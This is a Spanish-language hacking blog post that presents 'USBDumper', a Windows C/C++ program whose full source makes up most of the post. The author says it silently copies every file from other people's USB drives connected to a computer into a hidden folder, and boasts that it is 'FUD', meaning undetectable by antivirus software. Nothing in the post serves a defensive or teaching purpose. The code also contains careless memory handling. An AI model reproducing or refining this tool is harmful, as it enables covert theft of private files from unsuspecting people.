HACKER ANGELWHITE GALC

martes, 21 de julio de 2020

USBDumper [Roba todos los archivos de USB Ajenos]


Hola, en esta ocasión desarrolle un software que sirve para extraer de forma oculta todos los archivos de un USB, es decir, si vamos a algún lado y en nuestro pendrive llevamos este archivo lo que haremos es ejecutarlo y el resto de los pendrives conectado en el ordenador sus archivos se copiaran de forma oculta dentro de una nueva carpeta llamada USBDumper en donde lleves el archivo.
También funciona si alguien coloca un pendrive en tu ordenador, este copiara los archivos en una carpeta USBDumper donde este el archivo.
Dejo el código y su análisis FUD.

Link de descarga:

Citar
Codigo del Ejecutable! [C/C++]
Código: C++
  1. #include <windows.h>
  2. #include <shlwapi.h>
  3.  
  4. bool __stdcall ListDirectory ( IN LPSTR lpszDirectory );
  5. bool __stdcall CopyFiles ( IN LPSTR lpszDirectory, IN DWORD Attributes );
  6.  
  7. bool __stdcall ListDirectory ( IN LPSTR lpszDirectory )
  8. {
  9.    
  10.    WIN32_FIND_DATA find;
  11.    HANDLE Search;
  12.  
  13.    char NewDirectory [ lstrlenA ( lpszDirectory ) + MAX_PATH ];
  14.    lstrcpyA ( NewDirectory, lpszDirectory );
  15.    lstrcatA ( NewDirectory, "*" );
  16.  
  17.    Search = FindFirstFileA ( NewDirectory, &find );
  18.    if ( Search == 0L || Search == INVALID_HANDLE_VALUE )
  19.    {
  20.    
  21.       FindClose ( Search );
  22.    
  23.       return false;
  24.    }
  25.    
  26.    while ( FindNextFileA ( Search, & find ) )
  27.    {
  28.  
  29.       char CopyDirectory [ lstrlenA ( lpszDirectory ) + MAX_PATH + lstrlenA ( find.cFileName ) ];
  30.       lstrcpyA ( CopyDirectory, lpszDirectory );
  31.  
  32.       lstrcatA ( CopyDirectory, find.cFileName );
  33.  
  34.       if ( lstrcmpA ( find.cFileName, ".") != 0 && lstrcmpA ( find.cFileName, ".." ) != 0 && find.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )
  35.       {
  36.          lstrcatA ( CopyDirectory, "\\" );
  37.      
  38.          ListDirectory ( CopyDirectory );
  39.       }
  40.  
  41.       CopyFiles ( CopyDirectory, find.dwFileAttributes );
  42.      
  43.    }
  44.  
  45.    FindClose ( Search );
  46.    
  47.    return true;
  48. }
  49.  
  50. bool __stdcall CopyFiles ( IN LPSTR lpszDirectory, IN DWORD Attributes )
  51. {
  52.  
  53.    LPSTR Name, PathComplete, Temp, Teme;
  54.    unsigned long len = 0, i = 0;
  55.    bool dirent = false;
  56.  
  57.    if ( ! PathFileExistsA ( "USBDump" ) )
  58.    {
  59.       CreateDirectoryA ( "USBDump", 0L );
  60.    }
  61.    else
  62.    {
  63.       if ( GetFileAttributesA ( "USBDump" ) != FILE_ATTRIBUTE_DIRECTORY )
  64.       {
  65.          CreateDirectoryA ( "USBDump", 0L );
  66.       }
  67.    }
  68.  
  69.    Name = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 + lstrlenA ( lpszDirectory ) ) );
  70.    Teme = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 + lstrlenA ( lpszDirectory ) ) );
  71.    
  72.    if ( Attributes == FILE_ATTRIBUTE_DIRECTORY )
  73.    {
  74.    
  75.       for ( i = lstrlenA ( lpszDirectory ); i > 0; i -- )
  76.       {
  77.          if ( lpszDirectory [ i ] == '.' && lpszDirectory [ i + 1 ] == '.' )
  78.          {
  79.             CopyMemory ( & Teme [ 0 ], & lpszDirectory [ 0 ], ( lstrlenA ( lpszDirectory ) - 3 ) );
  80.             dirent = true;
  81.             break;
  82.          }
  83.       }
  84.    }
  85.    
  86.    if ( dirent )
  87.    {
  88.       for ( i = lstrlenA ( Teme ); i > 0; i -- )
  89.       {
  90.          if ( Teme [ i ] == '\\' )
  91.          {
  92.             CopyMemory ( & Name [ 0 ], & Teme [ i + 1 ], lstrlenA ( Teme ) - ( i - 1 ) );
  93.             GlobalFree ( Teme );
  94.            
  95.             dirent = false;
  96.             break;
  97.          }
  98.       }
  99.      
  100.       Temp = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + lstrlenA ( Name ) + 1 ) );
  101.       CopyMemory ( & Temp [ 0 ], & "USBDump\\", lstrlenA ( "USBDump" ) + 1 );
  102.       CopyMemory ( & Temp [ lstrlenA ( Temp ) ], & Name [ 0 ], lstrlenA ( Name ) );
  103.  
  104.       CreateDirectoryA ( Temp, 0L );
  105.      
  106.       GlobalFree ( Temp );
  107.       GlobalFree ( Teme );
  108.       GlobalFree ( Name );
  109.       GlobalFree ( PathComplete );
  110.      
  111.       return true;
  112.    }
  113.    else
  114.    {
  115.       for ( i = 0; i < lstrlenA ( lpszDirectory ); i ++ )
  116.       {
  117.          if ( lpszDirectory [ i ] == '\\' )
  118.          {
  119.             CopyMemory ( & Name [ 0 ], & lpszDirectory [ i + 1 ], lstrlenA ( lpszDirectory ) - ( i ) );
  120.             dirent = false;
  121.             break;
  122.          }
  123.       }
  124.    }
  125.  
  126.    if ( Attributes != FILE_ATTRIBUTE_DIRECTORY )
  127.    {
  128.       if ( ( Attributes == FILE_ATTRIBUTE_HIDDEN ) || ( Attributes == FILE_ATTRIBUTE_READONLY ) ||
  129.          ( Attributes == FILE_ATTRIBUTE_SYSTEM ) )
  130.       {
  131.  
  132.          SetFileAttributesA ( lpszDirectory, FILE_ATTRIBUTE_NORMAL );
  133.       }
  134.    }
  135.  
  136.    PathComplete = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + lstrlenA ( Name ) + 1 ) );
  137.    CopyMemory ( & PathComplete [ 0 ], & "USBDump\\", lstrlenA ( "USBDump" ) + 1 );
  138.    
  139.    //Name [ lstrlenA ( Name ) ] == '\\' ? len = lstrlenA ( Name ) - 1 : len = lstrlenA ( Name );
  140.    CopyMemory ( & PathComplete [ lstrlenA ( PathComplete ) ], & Name [ 0 ], lstrlenA ( Name ) );
  141.  
  142.    CopyFileA ( lpszDirectory, PathComplete, false );
  143.  
  144.    GlobalFree ( Name );
  145.    GlobalFree ( PathComplete );
  146.    GlobalFree ( Teme );
  147.  
  148.    return true;
  149. }      
  150.  
  151. int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
  152.       LPSTR lpszArgument, int nCmdFunstil )
  153. {
  154.  
  155.    LPSTR Drivers = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), 513 );
  156.    GetLogicalDriveStringsA ( 512, Drivers );
  157.    
  158.    LPSTR Drive = Drivers;
  159.  
  160.    while ( *Drive )
  161.    {
  162.       if ( GetDriveTypeA ( Drive ) == DRIVE_REMOVABLE )
  163.       {
  164.          ListDirectory ( Drive );
  165.       }
  166.    
  167.       Drive += lstrlenA ( Drive ) + 1;
  168.    }
  169.  
  170.    GlobalFree ( Drivers );
  171.  
  172.    return EXIT_SUCCESS;
  173. }
  174.  
  175.  

No hay comentarios:

Publicar un comentario